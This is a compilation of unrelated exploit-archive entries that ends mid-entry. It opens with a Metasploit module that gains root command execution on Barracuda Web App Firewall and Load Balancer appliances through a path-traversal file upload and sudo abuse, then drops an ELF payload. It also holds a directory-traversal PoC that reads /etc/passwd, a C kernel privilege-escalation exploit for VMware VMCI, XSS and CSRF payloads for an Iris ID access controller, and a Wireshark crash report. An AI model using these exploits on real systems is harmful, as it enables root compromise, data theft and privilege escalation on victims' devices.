# Vuln 2: ondefined_remove_corefiles trigger - Command injection vuln (from loaded file data)

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (2)',
                        'Description'    => %q{
                                        This module exploits a remote command execution vulnerability in
                                the Barracuda Web App Firewall Firmware Version <= 8.0.1.007 and Load Balancer Firmware <= v5.4.0.004
                                by exploiting a two vulnerabilities in the web administration interface. The first bug leverages a Arbitrary File
				Upload vulnerability to create a malicious file containing shell commands before using a second bug meant to clean
				up left-over core files on the device to execute them. By sending a specially crafted requests
                                it's possible to inject system commands while escalating to root do to relaxed sudo configurations on the applianaces.
                        },
	
			'Author'         =>
				[
					'xort', # vuln + metasploit module
				],
			'Version'        => '$Revision: 2 $',
			'References'     =>
				[
					[ 'none', 'none'],
				],
			'Platform'      => [ 'linux'],
			'Privileged'     => true,
			 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

		        'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

			'Targets'        =>
                                [
                                        ['Barracuda Web App Firewall Firmware Version <= 8.0.1.007 (2016-01-07)',
                                                {
                                                                'Arch' => ARCH_X86,
                                                                'Platform' => 'linux',
                                                                'SudoCmdExec' => "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
                                                }
                                        ],

                                        ['Barracuda Load Balancer Firmware <= v5.4.0.004 (2015-11-26)',
                                                {
                                                                'Arch' => ARCH_X86,
                                                                'Platform' => 'linux',
                                                                'SudoCmdExec' => "/home/product/code/firmware/current/bin/rdpd"
                                                }
                                        ],
                                ],
	
			'DefaultTarget' => 0))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
					OptString.new('ET', [ false, 'Device password', "" ]),
			         	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(8000),
				], self.class)
	end

        def do_login(username, password_clear, et)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                enc_key = Rex::Text.rand_text_hex(32)

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
		      'headers' => 
			{
				'Accept' => "application/json, text/javascript, */*; q=0.01",
				'Content-Type' => "application/x-www-form-urlencoded",
				'X-Requested-With' => "XMLHttpRequest"
			},
                      'vars_post' =>
                        {

                          'enc_key' => enc_key,
                          'et' => et,
                          'user' => "admin", # username,
                          'password' => "admin", # password_clear,
                          'enctype' => "none",
                          'password_entry' => "",
			  'login_page' => "1",
                          'login_state' => "out",
                          'real_user' => "",
                          'locale' => "en_US",
                          'form' => "f",
                          'Submit' => "Sign in",
                        }
                }, timeout)

                # get rid of first yank 
                password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
                et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]

                return password, et
        end

	def run_command(username, password, et, cmd)
		vprint_status( "Running Command...\n" )

		# file to overwrite
		cmd_file = "/home/product/code/config/corefile_list.txt"

 		# file to replace
		sudo_cmd_exec = target['SudoCmdExec']

                sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
                sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "

                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo \""
                b64decode2 = "\" | base64 -d >" + b64dumpfile

                # base64 - encode with base64 so we can send special chars and multiple lines
                cmd = Base64.strict_encode64(cmd)

                # Create injection string.
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile

                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile

	 	exploitreq = [
		[ "auth_type","Local" ],
		[ "et",et ],
		[ "locale","en_US" ],
		[ "password", password  ],
		[ "primary_tab", "BASIC" ],
		[ "realm","" ],
		[ "secondary_tab","reports" ],
		[ "user", username ],
		[ "timestamp", Time.now.to_i ],
		
		[ "upload_template_file_filename", "admin" ]
		]

		
		boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
		post_data = ""
	
		exploitreq.each do |xreq|
		    post_data << "--#{boundary}\r\n"
		    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
		    post_data << "#{xreq[1]}\r\n"
		end

		# upload file
		up_filename = cmd_file
	        post_data << "--#{boundary}\r\n"
	        post_data << "Content-Disposition: form-data; name=\"upload_template_file\"; filename=\"../#{up_filename}\"\r\n\r\n"
		post_data << ";#{injection_string};\r\n"

	        # end data
	        post_data << "--#{boundary}\r\n"
		post_data << "Content-Disposition: form-data; name=\"view_template\"\r\n\r\n"
		post_data << "\r\n"

	    	post_data << "--#{boundary}--\r\n" # end boundary

		# upload file vuln
	        res = send_request_cgi({
         	   'method' => 'POST',
	           'uri'    => "/cgi-mod/index.cgi",
       		   'ctype'  => "multipart/form-data; boundary=#{boundary}",
            	   'data'   => post_data,
		   'headers' => 
			{
				'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
				'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
				'Accept-Language' => "en-US,en;q=0.5"
			}
	        })	

		post_data = ""

                exploitreq.each do |xreq|
                    post_data << "--#{boundary}\r\n"
                    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
                    post_data << "#{xreq[1]}\r\n"
                end

		# triger vuln 
	        post_data <<  "--#{boundary}\r\n"
		post_data << "Content-Disposition: form-data; name=\"remove_corefiles\"\r\n\r\n"
		post_data << "\r\n"

	    	post_data << "--#{boundary}--\r\n" # end boundary

                # upload file vuln
                res = send_request_cgi({
                   'method' => 'POST',
                   'uri'    => "/cgi-mod/index.cgi",
                   'ctype'  => "multipart/form-data; boundary=#{boundary}",
                   'data'   => post_data,
                   'headers' =>
                        {
                                'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
                                'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                                'Accept-Language' => "en-US,en;q=0.5"
                        }
                })



	end

	def run_script(username, password, et, cmds)
	  	vprint_status( "running script...\n")
	  
	  
	end
	
	def exploit
		# timeout
		timeout = 1550;

		user = "admin"
		
		# params
                real_user = "";
		login_state = "out"
		et = Time.now.to_i
		locale = "en_US"
		user = "admin"
		password = "admin"
		enctype = "MD5"
		password_entry = ""
		password_clear = "admin"
		

		password_hash, et = do_login(user, password_clear, et)
		vprint_status("new password: #{password_hash} et: #{et}\n")

		sleep(5)


		 #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))

                        handler
                end


	end

end
            
PHP File Vault version 0.9 , remote directory traversal and read file vulnerabilty 
==================================================================================


Discovered by N_A, N_A[at]tutanota.com
======================================




Description
===========


A very small PHP website application which stores anonymously uploaded files and retrieves them by SHA1 hash (a fingerprint of the file which is provided after uploading). Developed for anonysource.org , a kanux project.

https://sourceforge.net/projects/php-file-vault



Vulnerability
=============


The vulnerability exists within the fileinfo.php file of the package:


A A A  if (empty($_GET['sha1'])) die("sha1 is required to get file info");
A A A  $sha1 = trim($_GET['sha1']);


the 'sha1' variable is requested via the GET method. It is passed as a variable to the 'parseFileInfo' function. This function incorporates a call to
the fopen() function within PHP:



A A A  A A A  function parseFileInfo($fi) {
A A A  A A A  $fh = fopen($fi,'r');
A A A  A A A  $fname = trim(fgets($fh));
A A A  A A A  fclose($fh);
A A A  A A A  return array($fname);
A A A  A A  }



The parseFileInfo() function is called within the file fileinfo.php with the 'sha1' variable inside:

A A A  A A A  if (!is_readable(FI.$sha1)) die("cannot read file info!");
A A A  A A A  list($fname) = parseFileInfo(FI.$sha1);

A A A  A A A  readfile('head.html');

A A A  A A A  if ($fname) echo "<h1><a href=\"/$sha1\">$fname</a></h1>";


This is the vulnerability that allows parts of *any world readable* file to be read by a remote attacker.

Attacks can include gathering sensitive information, .bash_history, .rhosts, /etc/passwd and so on.


Proof Of Concept
================

PoC exploit = http://127.0.0.1/htdocs/fileinfo.php?sha1=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
            
/*
    CVE-2013-1406 exploitation PoC
    by Artem Shishkin,
    Positive Research,
    Positive Technologies,
    02-2013
*/

void __stdcall FireShell(DWORD dwSomeParam)
{
    EscalatePrivileges(hProcessToElevate);
    // Equate the stack and quit the cycle
#ifndef _AMD64_
    __asm
    {
        pop ebx
        pop edi
        push 0xFFFFFFF8
        push 0xA010043
    }
#endif
}


HANDLE LookupObjectHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, PVOID pObjectAddr, DWORD dwProcessID = 0)
{
    HANDLE            hResult = 0;
    DWORD            dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return 0;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].Object == pObjectAddr))
        {
            hResult = pHandleTable->Handles[i].HandleValue;
            break;
        }
    }

    return hResult;
}

PVOID LookupObjectAddress(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
    PVOID    pResult = 0;
    DWORD    dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return 0;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
        {
            pResult = (HANDLE)pHandleTable->Handles[i].Object;
            break;
        }
    }

    return pResult;
}

void CloseTableHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
    DWORD    dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
        {
            pHandleTable->Handles[i].Object = NULL;
            pHandleTable->Handles[i].HandleValue = NULL;
            break;
        }
    }

    return;
}

void PoolSpray()
{
    // Init used native API function
    lpNtQuerySystemInformation NtQuerySystemInformation = (lpNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL)
    {
        printf("Such a fail...\n");
        return;
    }
    
    // Determine object size
    // xp: 
    //const DWORD_PTR dwSemaphoreSize = 0x38;
    // 7:
    //const DWORD_PTR dwSemaphoreSize = 0x48;

    DWORD_PTR dwSemaphoreSize = 0;

    if (LOBYTE(GetVersion()) == 5)
    {
        dwSemaphoreSize = 0x38;
    }
    else if (LOBYTE(GetVersion()) == 6)
    {
        dwSemaphoreSize = 0x48;
    }

    unsigned int cycleCount = 0;
    while (cycleCount < 50000)
    {
        HANDLE hTemp = CreateSemaphore(NULL, 0, 3, NULL);
        if (hTemp == NULL)
        {
            break;
        }

        ++cycleCount;
    }

    printf("\t[+] Spawned lots of semaphores\n");

    printf("\t[.] Initing pool windows\n");
    Sleep(2000);

    DWORD dwNeeded = 4096;
    NTSTATUS status = 0xFFFFFFFF;
    PVOID pBuf = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);

    while (true)
    {
        status = NtQuerySystemInformation(SystemExtendedHandleInformation, pBuf, dwNeeded, NULL);
        if (status != STATUS_SUCCESS)
        {
            dwNeeded *= 2;
            VirtualFree(pBuf, 0, MEM_RELEASE);
            pBuf = VirtualAlloc(NULL, dwNeeded, MEM_COMMIT, PAGE_READWRITE);
        }
        else
        {
            break;
        }
    };

    HANDLE hHandlesToClose[0x30] = {0};
    DWORD dwCurPID = GetCurrentProcessId();
    PSYSTEM_HANDLE_INFORMATION_EX pHandleTable = (PSYSTEM_HANDLE_INFORMATION_EX)pBuf;

    for (ULONG i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if (pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwCurPID)
        {
            DWORD_PTR    dwTestObjAddr = (DWORD_PTR)pHandleTable->Handles[i].Object;
            DWORD_PTR    dwTestHandleVal = (DWORD_PTR)pHandleTable->Handles[i].HandleValue;
            DWORD_PTR    dwWindowAddress = 0;
            bool        bPoolWindowFound = false;

            UINT iObjectsNeeded = 0;
            // Needed window size is vmci packet pool chunk size (0x218) divided by
            // Semaphore pool chunk size (dwSemaphoreSize)
            iObjectsNeeded = (0x218 / dwSemaphoreSize) + ((0x218 % dwSemaphoreSize != 0) ? 1 : 0);
        
            if (
                    // Not on a page boundary
                    ((dwTestObjAddr & 0xFFF) != 0) 
                    && 
                    // Doesn't cross page boundary
                    (((dwTestObjAddr + 0x300) & 0xF000) == (dwTestObjAddr & 0xF000)) 
                )
            {
                // Check previous object for being our semaphore
                DWORD_PTR dwPrevObject = dwTestObjAddr - dwSemaphoreSize;
                if (LookupObjectHandle(pHandleTable, (PVOID)dwPrevObject) == NULL)
                {
                    continue;
                }

                for (unsigned int j = 1; j < iObjectsNeeded; j++)
                {
                    DWORD_PTR dwNextTestAddr = dwTestObjAddr + (j * dwSemaphoreSize);
                    HANDLE hLookedUp = LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr);

                    //printf("dwTestObjPtr = %08X, dwTestObjHandle = %08X\n", dwTestObjAddr, dwTestHandleVal);
                    //printf("\tdwTestNeighbour = %08X\n", dwNextTestAddr);
                    //printf("\tLooked up handle = %08X\n", hLookedUp);

                    if (hLookedUp != NULL)
                    {
                        hHandlesToClose[j] = hLookedUp;

                        if (j == iObjectsNeeded - 1)
                        {
                            // Now test the following object
                            dwNextTestAddr = dwTestObjAddr + ((j + 1) * dwSemaphoreSize);
                            if (LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr) != NULL)
                            {
                                hHandlesToClose[0] = (HANDLE)dwTestHandleVal;
                                bPoolWindowFound = true;

                                dwWindowAddress = dwTestObjAddr;

                                // Close handles to create a memory window
                                for (int k = 0; k < iObjectsNeeded; k++)
                                {
                                    if (hHandlesToClose[k] != NULL)
                                    {
                                        CloseHandle(hHandlesToClose[k]);
                                        CloseTableHandle(pHandleTable, hHandlesToClose[k]);
                                    }
                                }
                            }
                            else
                            {
                                memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
                                break;
                            }
                        }
                    }
                    else
                    {
                        memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
                        break;
                    }
                }

                if (bPoolWindowFound)
                {
                    printf("\t[+] Window found at %08X!\n", dwWindowAddress);
                }

            }
        }
    }

    VirtualFree(pBuf, 0, MEM_RELEASE);

    return;
}

void InitFakeBuf(PVOID pBuf, DWORD dwSize)
{
    if (pBuf != NULL)
    {
        RtlFillMemory(pBuf, dwSize, 0x11);
    }

    return;
}

void PlaceFakeObjects(PVOID pBuf, DWORD dwSize, DWORD dwStep)
{
    /*
        Previous chunk size will be always 0x43 and the pool index will be 0, so the last bytes will be 0x0043
        So, for every 0xXXXX0043 address we must suffice the following conditions:

        lea        edx, [eax+38h]
        lock    xadd [edx], ecx
        cmp        ecx, 1

        Some sort of lock at [addr + 38] must be equal to 1. And

        call    dword ptr [eax+0ACh]

        The call site is located at [addr + 0xAC]

        Also fake the object to be dereferenced at [addr + 0x100]
    */

    if (pBuf != NULL)
    {
        for (PUCHAR iAddr = (PUCHAR)pBuf + 0x43; iAddr < (PUCHAR)pBuf + dwSize; iAddr = iAddr + dwStep)
        {
            PDWORD pLock = (PDWORD)(iAddr + 0x38);
            PDWORD_PTR pCallMeMayBe = (PDWORD_PTR)(iAddr + 0xAC);
            PDWORD_PTR pFakeDerefObj = (PDWORD_PTR)(iAddr + 0x100);

            *pLock = 1;
            *pCallMeMayBe = (DWORD_PTR)FireShell;
            *pFakeDerefObj = (DWORD_PTR)pBuf + 0x1000;
        }
    }

    return;
}

void PenetrateVMCI()
{
    /*

        VMware Security Advisory
        Advisory ID:    VMSA-2013-0002
        Synopsis:    VMware ESX, Workstation, Fusion, and View VMCI privilege escalation vulnerability
        Issue date:    2013-02-07
        Updated on:    2013-02-07 (initial advisory)
        CVE numbers:    CVE-2013-1406

    */

    DWORD dwPidToElevate = 0;
    HANDLE hSuspThread = NULL;

    bool bXP = (LOBYTE(GetVersion()) == 5);
    bool b7 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 1));
    bool b8 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 2));

    if (!InitKernelFuncs())
    {
        printf("[-] Like I don't know where the shellcode functions are\n");
        return;
    }

    if (bXP)
    {
        printf("[?] Who do we want to elevate?\n");
        scanf_s("%d", &dwPidToElevate);

        hProcessToElevate = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPidToElevate);
        if (hProcessToElevate == NULL)
        {
            printf("[-] This process doesn't want to be elevated\n");
            return;
        }
    }

    if (b7 || b8)
    {
        // We are unable to change an active process token on-the-fly,
        // so we create a custom shell suspended (Ionescu hack)
        STARTUPINFO si = {0};
        PROCESS_INFORMATION pi = {0};

        si.wShowWindow = TRUE;

        WCHAR cmdPath[MAX_PATH] = {0};
        GetSystemDirectory(cmdPath, MAX_PATH);
        wcscat_s(cmdPath, MAX_PATH, L"\\cmd.exe");

        if (CreateProcess(cmdPath, L"", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == TRUE)
        {
            hProcessToElevate = pi.hProcess;
            hSuspThread = pi.hThread;
        }
    }

    HANDLE hVMCIDevice = CreateFile(L"\\\\.\\vmci", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
    if (hVMCIDevice != INVALID_HANDLE_VALUE)
    {
        UCHAR BadBuff[0x624] = {0};
        UCHAR retBuf[0x624] = {0};
        DWORD dwRet = 0;

        printf("[+] VMCI service found running\n");

        PVM_REQUEST pVmReq = (PVM_REQUEST)BadBuff;
        pVmReq->Header.RequestSize = 0xFFFFFFF0;
        
        PVOID pShellSprayBufStd = NULL;
        PVOID pShellSprayBufQtd = NULL;
        PVOID pShellSprayBufStd7 = NULL;
        PVOID pShellSprayBufQtd7 = NULL;
        PVOID pShellSprayBufChk8 = NULL;

        if ((b7) || (bXP) || (b8))
        {
            /*
                Significant bits of a PoolType of a chunk define the following regions:
                0x0A000000 - 0x0BFFFFFF - Standard chunk
                0x1A000000 - 0x1BFFFFFF - Quoted chunk
                0x0 - 0xFFFFFFFF - Free chunk - no idea

                Addon for Windows 7:
                Since PoolType flags have changed, and "In use flag" is now 0x2,
                define an additional region for Win7:

                0x04000000 - 0x06000000 - Standard chunk
                0x14000000 - 0x16000000 - Quoted chunk
            */
            
            pShellSprayBufStd = VirtualAlloc((LPVOID)0xA000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufQtd = VirtualAlloc((LPVOID)0x1A000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufStd7 = VirtualAlloc((LPVOID)0x4000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufQtd7 = VirtualAlloc((LPVOID)0x14000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

            if ((pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL))
            {
                printf("\t[-] Unable to map the needed memory regions, please try running the app again\n");
                CloseHandle(hVMCIDevice);
                return;
            }

            InitFakeBuf(pShellSprayBufStd, 0x2000000);
            InitFakeBuf(pShellSprayBufQtd, 0x2000000);
            InitFakeBuf(pShellSprayBufStd7, 0x2000000);
            InitFakeBuf(pShellSprayBufQtd7, 0x2000000);

            PlaceFakeObjects(pShellSprayBufStd, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufQtd, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufStd7, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufQtd7, 0x2000000, 0x10000);

            if (SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL) == FALSE)
            {
                SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
            }

            PoolSpray();

            if (DeviceIoControl(hVMCIDevice, 0x8103208C, BadBuff, sizeof(BadBuff), retBuf, sizeof(retBuf), &dwRet, NULL) == TRUE)
            {
                printf("\t[!] If you don't see any BSOD, you're successful\n");

                if (b7 || b8)
                {
                    ResumeThread(hSuspThread);
                }
            }
            else
            {
                printf("[-] Not this time %d\n", GetLastError());
            }

            if (pShellSprayBufStd != NULL)
            {
                VirtualFree(pShellSprayBufStd, 0, MEM_RELEASE);
            }

            if (pShellSprayBufQtd != NULL)
            {
                VirtualFree(pShellSprayBufQtd, 0, MEM_RELEASE);
            }
        }

        SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);

        CloseHandle(hVMCIDevice);
    }
    else
    {
        printf("[-] Like I don't see vmware here\n");
    }

    CloseHandle(hProcessToElevate);

    return;
}
            

Iris ID IrisAccess ICU 7000-2 Multiple XSS and CSRF Vulnerabilities


Vendor: Iris ID, Inc.
Product web page: http://www.irisid.com
Affected version: ICU Software: 1.00.08
                  ICU OS: 1.3.8
                  ICU File system: 1.3.8
                  EIF Firmware [Channel 1]: 1.9
                  EIF Firmware [Channel 2]: 1.9
                  Iris TwoPi: 1.4.5

Summary: The ICU 7000-2 is an optional component used when the client requires
iris template data to be matched on the secure side of the door. When using ICU
no data is stored in the iCAM7 Iris Reader itself. The ICU also ensures that portal
operation can continue if the there is an interruption in communication with the
host computer. In such circumstances, the ICU retains the records of portal activity,
then automatically updates the host upon resumption of host communication. Every
ICU in the iCAM4000 / 7 series runs on a LINUX OS for added reliability. Independent
and fault tolerant, ICUs are connected up to 2 iCAMs and handle up to 100,000 users.

Desc: The application is prone to multiple reflected cross-site scripting vulnerabilities
due to a failure to properly sanitize user-supplied input to the 'HidChannelID' and
'HidVerForPHP' POST parameters in the 'SetSmarcardSettings.php' script. Attackers can
exploit this issue to execute arbitrary HTML and script code in a user's browser session.
The application also allows users to perform certain actions via HTTP requests without
performing any validity checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user visits a malicious web
site.

Tested on: GNU/Linux 3.0.51 (armv7l)
           mylighttpd v1.0
           PHP/5.5.13


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5345
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5345.php


06.05.2016

--


XSS PoC:
--------

POST /html/SetSmarcardSettings.php HTTP/1.1
Host: 10.0.0.17
Connection: close
Content-Length: x
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzczxmPRCR0fYr2SO
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8

------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidChannelID"

2"><script>alert(1)</script>
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidcmbBook"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="cmbBook"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidDisOffSet"

13
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="txtOffSet"

13
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidDataFormat"

1
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidDataFormatVal"

1
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="DataFormat"

1
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidFileAvailable"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidEncryAlg"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="EncryAlg"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidFileType"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidIsFileSelect"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidUseAsProxCard"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidVerForPHP"

1.00.08"><script>alert(2)</script>
------WebKitFormBoundaryzczxmPRCR0fYr2SO--



CSRF PoC:
---------

<html>
  <body>
    <form action="http://10.0.0.17/cgi-bin/SetRS422Settings" method="POST">
      <input type="hidden" name="HidChannelID" value="2" />
      <input type="hidden" name="RS422State" value="0" />
      <input type="hidden" name="HidRS422BitsSec" value="9" />
      <input type="hidden" name="HidRS422DataBits" value="3" />
      <input type="hidden" name="HidRS422Parity" value="1" />
      <input type="hidden" name="HidRS422StopBits" value="2" />
      <input type="hidden" name="HidRS422StartCharLength" value="2" />
      <input type="hidden" name="HidRS422EndCharLength" value="2" />
      <input type="hidden" name="HidRS422StartOne" value="7F" />
      <input type="hidden" name="HidRS422StartTwo" value="F7" />
      <input type="hidden" name="HidRS422EndOne" value="0D" />
      <input type="hidden" name="HidRS422EndTwo" value="0A" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
Sample generated with AFL

Build Information:
TShark 1.12.9 (v1.12.9-0-gfadb421 from (HEAD)

Copyright 1998-2015 Gerald Combs <gerald@wireshark.org> and contributors.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with GLib 2.48.1, with libpcap, with libz 1.2.8, with POSIX
capabilities (Linux), with libnl 3, without SMI, with c-ares 1.11.0, without
Lua, without Python, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos,
with GeoIP.

Running on Linux 4.6.2-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz

Built using clang 4.2.1 Compatible Clang 3.8.0 (tags/RELEASE_380/final).
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)

There is a bug in dissect_nds_request located in epan/dissectors/packet-ncp2222.inc.

dissect_nds_request attempts to call ptvcursor_free() near packet-ncp2222.inc:11806 using the variable ptvc that is set to null at the start of dissect_nds_request. Using the attached sample, the only place ptvc could be set (~ncp2222.inc:11618) is never executed and thus ptvc remains a null pointer.

Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40194.zip
            
<!--
There is a bug in TypedArray.copyWithin that can be used to write to an absolute pointer. 

In JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h, the function genericTypedArrayViewProtoFuncCopyWithin contains the following code:

    long length = thisObject->length();
    long to = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    long from = argumentClampedIndexFromStartOrEnd(exec, 1, length);
    long final = argumentClampedIndexFromStartOrEnd(exec, 2, length, length);

